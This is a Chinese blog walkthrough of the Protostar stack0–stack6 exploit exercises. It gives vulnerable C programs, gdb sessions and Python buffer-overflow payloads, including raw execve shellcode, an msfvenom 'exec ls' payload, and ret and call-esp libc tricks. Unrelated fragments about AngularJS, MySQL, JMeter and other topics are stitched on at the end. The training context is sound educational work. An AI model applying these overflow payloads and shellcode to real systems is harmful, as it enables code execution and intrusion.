技术标签: stack Exploit Exercises pwn 信息安全 Protostar 漏洞分析与利用
首先看下源码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
看来我们是要通过缓冲区溢出讲局部变量modified的值改为1或者我们将程序的返回值直接执行成功的printf就行了
首先看看汇编代码
(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: and $0xfffffff0,%esp
0x080483fa <main+6>: sub $0x60,%esp
0x080483fd <main+9>: movl $0x0,0x5c(%esp)
0x08048405 <main+17>: lea 0x1c(%esp),%eax
0x08048409 <main+21>: mov %eax,(%esp)
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov 0x5c(%esp),%eax
0x08048415 <main+33>: test %eax,%eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: movl $0x8048500,(%esp)
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: movl $0x8048529,(%esp)
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
看到这个0x080483fd <main+9>: movl $0x0,0x5c(%esp)
,就是 modified = 0;
下面这个就是buffer的地址
0x08048405 <main+17>: lea 0x1c(%esp),%eax
0x08048409 <main+21>: mov %eax,(%esp)
为了看看开了什么保护,还是装个peda,懒得去单独搞个checksec了,结果发现用不了这个虚拟机的gdb不支持python的感觉,还是搞checksec吧
$ ./checksec -f /opt/protostar/bin/stack0
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 2 /opt/protostar/bin/stack0
0x5c跟0x1c相差了0x40个字节,我们实时0x44个A是什么情况 可以看到刚好覆盖到了,假如我们覆盖成1或者其他非0值就行
(gdb) x /4w $esp+0x5c
0xbffffcac: 0x41414141 0x08048400 0x00000000 0xbffffd38
$ python -c 'print "A"*0x40+"\x01\x00\x00\x00"' | ./stack0
you have changed the 'modified' variable
$ python -c 'print "A"*0x40+"\x01"' | ./stack0
you have changed the 'modified' variable
发现buffer距离返回地址是0x54,后面改为要覆盖的地址即可
$ python -c 'print "A"*0x50+"\x19\x84\x04\x08"' | ./stack0
you have changed the 'modified' variable
you have changed the 'modified' variable
Segmentation fault
$ python -c 'print "\x00"*0x50+"\x19\x84\x04\x08"' | ./stack0
Try again?
you have changed the 'modified' variable
Segmentation fault
有个问题就是段错误了
还是先看代码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
这个基本跟stack0差不多,不过这里要求modified 必须为0x61626364 还有就是这里通过命令行传参
结果:
$ ./stack1 $(python -c 'print "A"*0x40+"dcba"')
you have correctly got the variable to the right value
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
这里考察的是设置环境变量
$ GREENIE=`python -c 'print "A"*0x40+"\x0a\x0d\x0a\x0d"'`
$ export GREENIE
$ ./stack2
you have correctly modified the variable
代码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
获得win函数地址
(gdb) print win
$1 = {void (void)} 0x8048424 <win>
所以最终就简单了,但是我们这里好像直接覆盖返回地址的话比如覆盖一个fp能执行且不影响程序的地址,原因应该是调用了fp(); 为了简单 所以我们覆盖fp的值就好了
$ python -c 'print "A"*0x40+"\x24\x84\x04\x08"' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
这个就直接覆盖返回地址了
(gdb) print win
$1 = {void (void)} 0x80483f4 <win>
调试发现偏移是0x4c
$ python -c 'print "A"*0x4C+"\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
这里叫你开始执行shellcode了
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483d4
Breakpoint 1 at 0x80483d4: file stack5/stack5.c, line 10.
(gdb) r
Starting program: /opt/protostar/bin/stack5
Breakpoint 1, 0x080483d4 in main (argc=1, argv=0xbffffd64) at stack5/stack5.c:10
10 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x $eax
0xbffffc70: 0xb7fd7ff4
eax的值就是局部变量的其实地址,我们将返回地址覆盖为这个,shellcode放最前面就行了
有个坑就是这个地址跟实际的不一样,我们调试的gdb地址是调试状态的地址。所以要用core文件。
用这个定位ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@protostar:/tmp# gdb /opt/protostar/bin/stack5 core.11.stack5.3147
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
/root/.gdbinit:1: Error in sourced command file:
/root/peda/peda.py:8: Error in sourced command file:
Undefined command: "from". Try "help".
Reading symbols from /opt/protostar/bin/stack5...done.
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x /30x $esp-0x50
0xbffffc50: 0x44434241 0x41414141 0x41414141 0x41414141
0xbffffc60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffca0: 0x41414141 0xbffffd00 0xbffffd4c 0xb7fe1848
0xbffffcb0: 0xbffffd00 0xffffffff 0xb7ffeff4 0x08048232
0xbffffcc0: 0x00000001 0xbffffd00
感觉这系统有点问题,没有任何返回,如果exit,就退出了,而不是返回上一层shell
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5
后来直接用exec(ls)的shellcode
giantbranch:~# msfvenom -p linux/x86/exec CMD="ls" -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of python file: 192 bytes
buf = ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03"
buf += "\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"
那么就可以执行ls的了,真是日了狗,应该是我第一次的shellcode错了(当时是学习一步一步学rop时候的shellcode,怎么会错了)
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x10\xfd\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack5
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x10\xfd\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack5
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
这里if((ret & 0xbf000000) == 0xbf000000)
,如果返回地址是以bf开头,那么就会退出,所以我们要讲返回地址改成其他地址,比如程序中或者libc库中的地址
先定位返回值,懒得gdb调试定位了,直接peda(如果当前虚拟机用不了peda,可以用别的虚拟机啊)
gdb-peda$ pattern_create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
看看那里崩溃了
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
0x41414a41 in ?? ()
(gdb)
查偏移为80
gdb-peda$ pattern_offset 0x41414a41
1094797889 found at offset: 80
将返回地址覆盖为ret指令,下一个dword就可以0xbf开头了
随便在下面找ret的地址就好
root@protostar:/opt/protostar/bin# objdump -d ./stack6
./stack6: file format elf32-i386
Disassembly of section .init:
08048330 <_init>:
8048330: 55 push %ebp
8048331: 89 e5 mov %esp,%ebp
8048333: 53 push %ebx
8048334: 83 ec 04 sub $0x4,%esp
8048337: e8 00 00 00 00 call 804833c <_init+0xc>
804833c: 5b pop %ebx
804833d: 81 c3 b0 13 00 00 add $0x13b0,%ebx
8048343: 8b 93 fc ff ff ff mov -0x4(%ebx),%edx
8048349: 85 d2 test %edx,%edx
804834b: 74 05 je 8048352 <_init+0x22>
804834d: e8 1e 00 00 00 call 8048370 <__gmon_start__@plt>
8048352: e8 09 01 00 00 call 8048460 <frame_dummy>
8048357: e8 24 02 00 00 call 8048580 <__do_global_ctors_aux>
804835c: 58 pop %eax
804835d: 5b pop %ebx
804835e: c9 leave
804835f: c3 ret
Disassembly of section .plt:
08048360 <__gmon_start__@plt-0x10>:
8048360: ff 35 f0 96 04 08 pushl 0x80496f0
8048366: ff 25 f4 96 04 08 jmp *0x80496f4
804836c: 00 00 add %al,(%eax)
...
...
...
我选这个吧:804835f
root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\x5f\x83\x04\x08" + "\xe4\xfc\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA彿¿j
XRfh-c榯sh
1.txt final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
这个应该是比较最为通用方便的了
由于在当前程序找不到,我们去libc找吧 看看使用的库在哪
root@protostar:/opt/protostar/bin# ldd ./stack6
linux-gate.so.1 => (0xb7fe4000)
libc.so.6 => /lib/libc.so.6 (0xb7e99000)
/lib/ld-linux.so.2 (0xb7fe5000)
用rp查找一下
root@protostar:/opt/protostar/bin# ./rp-lin-x86 -f /lib/libc.so.6 --rop=2 | grep "call esp"
0x00117fc0: aam 0x74 ; out dx, al ; call esp ; (1 found)
......
......
0x001288a8: add dh, dh ; call esp ; (1 found)
0x001288a9: add dh, dh ; call esp ; (1 found)
0x00129f18: bound ecx, dword [ebp] ; sti ; call esp ; (1 found)
0x00002e63: call esp ; (1 found)
0x00083a4b: call esp ; (1 found)
0x00110af8: call esp ; (1 found)
0x00117fc3: call esp ; (1 found)
0x0011a12a: call esp ; (1 found)
0x0011a12b: call esp ; (1 found)
0x0011b17e: call esp ; (1 found)
0x0011b17f: call esp ; (1 found)
0x0011b19a: call esp ; (1 found)
0x0011b19b: call esp ; (1 found)
......
......
选这个吧0x00110af8
>>> hex(0xb7e99000 + 0x00110af8)
'0xb7fa9af8L'
但发现这是错的
(gdb) x /4i 0xb7fa9af8L
0xb7fa9af8 <translit_to_idx+4504>: adc $0x18000010,%eax
0xb7fa9afd <translit_to_idx+4509>: adc %al,(%eax)
0xb7fa9aff <translit_to_idx+4511>: add %bl,(%ebx)
0xb7fa9b01 <translit_to_idx+4513>: adc %al,(%eax)
后来直接看maps
root@protostar:/home/user# cat /proc/5087/maps
08048000-0804e000 r-xp 00000000 00:10 260 /bin/sleep
0804e000-0804f000 rw-p 00005000 00:10 260 /bin/sleep
0804f000-08070000 rw-p 00000000 00:00 0 [heap]
b7e96000-b7e97000 rw-p 00000000 00:00 0
b7e97000-b7fd5000 r-xp 00000000 00:10 759 /lib/libc-2.11.2.so
b7fd5000-b7fd6000 ---p 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd6000-b7fd8000 r--p 0013e000 00:10 759 /lib/libc-2.11.2.so
b7fd8000-b7fd9000 rw-p 00140000 00:10 759 /lib/libc-
......
......
bffeb000-c0000000 rw-p 00000000 00:00 0 [stack]
那就需要减个0x2000了,这时候就对了
(gdb) x /4i 0xb7fa7af8
0xb7fa7af8 <translit_from_tbl+7160>: call *%esp
0xb7fa7afa <translit_from_tbl+7162>: add %eax,(%eax)
0xb7fa7afc <translit_from_tbl+7164>: add %al,(%eax)
0xb7fa7afe <translit_from_tbl+7166>: add %al,(%eax)
那么就可以了
root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\xf8\x7a\xfa\xb7" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
如同指令一样,系统内置的服务以$开头,我们也可以自己定义一个服务。定义服务的方式有如下几种:使用Module的factory方法使用Module的service方法使用系统内置的$provide服务a. factory:可以认为是设计模式中的工厂方法,就是你提供一个方法,该方法返回一个对象实例,对于angularJS中的factory来说,就是先定义一个对象,给这个对象_angular自定义服务
在mysql中创建一个Schema和创建一个Database的效果好像是一样的,但是在sqlserver和orcal数据库中效果又是不同的,目前我只能理解为在mysql中schema<==>database; 数据库中的user和schema的关系: 假如我们想了解数据库中的user和schema的关系,首先必须要清楚数据库中的...
Jmeter插件访问Redis常用方式:1)使用现有的JmeterRedis插件;2)通过Beanshell连接、读、写Redis数据;一、 Jmeter访问Redis data参考地址:https://www.cnblogs.com/zhangfeivip/p/9450370.htmlhttps://jmeter-plugins.org/wiki/RedisDataSet/..._jmeter连接redis
在我发送邮件时产生的一些错误,在这里总结一下:**问题一:550 User has no permission **登录总是会被拒绝,验证没有权限。解决办法是进入163邮箱,进入邮箱中心——客户端授权密码,选择开启即可,如下截图:问题二:535 Error: authentication failed:认证失败虽然用户名和密码填的是对的,就是说认证失败是因为这里的密码不是你邮箱的密码..._邮件发送失败550userhasnopermission
JdbcTemplate无法通过druid.properties连接数据库在一次做JdbcTemplate的练习中,遇到无法连接数据库,导致程序无法运行通过一番检查后最终锁定druid.peoperties文件出错我的原始druid.properties文件为:driver=com.mysql.cj.jdbc.Driverurl=jdbc:mysql://localhost:3306/db_testuser=rootpassword=redhat这是按照之前的抽取JDBC工具类 JDBCUt
android:descendantFocusability用法简析 开发中很常见的一个问题,项目中的listview不仅仅是简单的文字,常常需要自己定义listview,自己的Adapter去继承BaseAdapter,在adapter中按照需求进行编写,问题就出现了,可能会发生点击每一个item的时候没有反应,无法获取的焦点。原因多半是由于在你自己定义的Item中存在诸如Imag
本文介绍一个cmd下的一个attrib.exe的小程序,它可以用来设置文件的属性。我们知道文件的属性有只读、隐藏、系统、存档和无内容索引等5个,只读和隐藏用得比较多,另外三个用得比较少。不知道大家有没有用过attrib.exe这个cmd下的小程序,它可以用来设置文件的属性。先来看看它的帮助文件。C:\Users\splaybow>help attrib显示或更改文件属性。ATT..._echo attrib +h
delete并不是真的删除 只是 将该row的rowstate变为 rowstate.delete(Rows.Count还是那么多);remove是 真的从datatable中删除。_rows(i).delete
1、Keepalived VRRP 介绍keepalived是什么 keepalived是集群管理中保证集群高可用的一个服务软件,用来防止单点故障。keepalived工作原理 keepalived是以VRRP协议为实现基础的,VRRP全称Virtual Router Redundancy Protocol,即虚拟路由冗余协议。 虚拟路由冗余协议,可以认为是实现高可..._nginx实战
1、pymysql实现步骤建立连接通道connect 创建游标cursor,操作设置为字典类型,返回结果为字典格式!不写默认是元组格式! 向数据库发送操作指令execute2、sql防注入实现#构建sql以下两种均可sql = "select * from userinfo where username=%s and password=%s"# sql = "select *...
win10系统更改开机密码提示“Windows不能更改密码”的解决方法?我们在操作win10系统电脑的时候,常常会遇到win10系统更改开机密码提示“Windows不能更改密码”的问题。那么出现win10系统更改开机密码提示“Windows不能更改密码”的问题该怎么解决呢?很多对电脑不太熟悉的小伙伴不知道win10系统更改开机密码提示“Windows不能更改密码”到底该如何解决?其实只需要鼠标右击..._win10 windows不能更改密码什么意思
本文实例讲述了Python实现针对中文排序的方法。分享给大家供大家参考,具体如下:Python比较字符串大小时,根据的是ord函数得到的编码值。基于它的排序函数sort可以很容易为数字和英文字母排序,因为它们在编码表中就是顺序排列的。>> print ','< '1' pyB:return 1elif pyA < pyB:return 0else:bhA=eval(searchdict(dic_b..._python 中文排序